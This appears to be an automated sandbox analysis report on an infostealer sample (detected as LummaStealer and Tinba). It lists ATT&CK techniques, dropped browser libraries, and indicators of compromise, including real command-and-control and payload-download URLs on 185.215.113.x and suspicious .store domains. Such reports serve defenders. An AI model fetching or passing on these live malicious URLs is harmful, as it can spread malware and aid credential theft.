Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.phpOR	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/api)w	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php/M	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpSw	100%	Avira URL Cloud	malware
https://community.fa	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exee	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe;	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php_M	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeGce	100%	Avira URL Cloud	phishing
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpcv	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apih	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpd	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/pW	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php;M	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/6Y?:8	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpeSE	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
steamcommunity.com	23.192.247.89	true	false	high
plus.l.google.com	142.250.184.206	true	false	high
play.google.com	172.217.16.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	142.250.185.196	true	false	high
marshal-zhukov.com	188.114.97.3	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.225	true	false	high
assets.msn.com	unknown	unknown	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
navygenerayk.store	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
presticitpo.store	unknown	unknown	false	high
founpiuer.store	unknown	unknown	false	high
scriptyprefej.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
founpiuer.store	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://c.msn.com/c.gif?rnd=1731349070731&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d656a9437545442c897859c057721d8a&activityId=d656a9437545442c897859c057721d8a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FC0747ADCE0F43758A5B7B7221317D35&MUID=021090CBA3AE69423B8585FFA2C968AB	false	high
https://sb.scorecardresearch.com/b2?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
presticitpo.store	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php_M	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a	1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/api)w	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.14.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.14.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/applicati	1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json.14.dr	false		high
http://www.valvesoftware.com/legal.htm	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english	1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl	1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpOR	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://s.ytimg.com;	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&	1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://presticitpo.store:443/api	1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json.14.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php/M	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exee	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-1.corp.google.com/	manifest.json.14.dr	false		high
https://lv.queniujq.cn	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.14.dr	false		high
https://plus.google.com	chromecache_489.10.dr	false		high
http://185.215.113.16/steam/random.exeGce	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://community.fa	1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpSw	file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://checkout.steampowered.com/	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe;	skotes.exe, 00000020.00000002.2515135836.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json0.14.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.14.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.14.dr	false		high
https://msn.comXIDv10	1017b01294.exe, 00000022.00000003.2477771181.00000000056FA000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2476374058.00000000057D1000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2477847102.00000000056FD000.00000004.00000800.00020000.00000000.sdmp, Cookies.16.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.14.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english	1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206rontdesk	file.exe, 00000000.00000002.1579443796.0000000000FE5000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.14.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpcv	file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.14.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.14.dr	false		high
https://marshal-zhukov.com/apih	1017b01294.exe, 00000022.00000003.2491577614.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2492647834.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
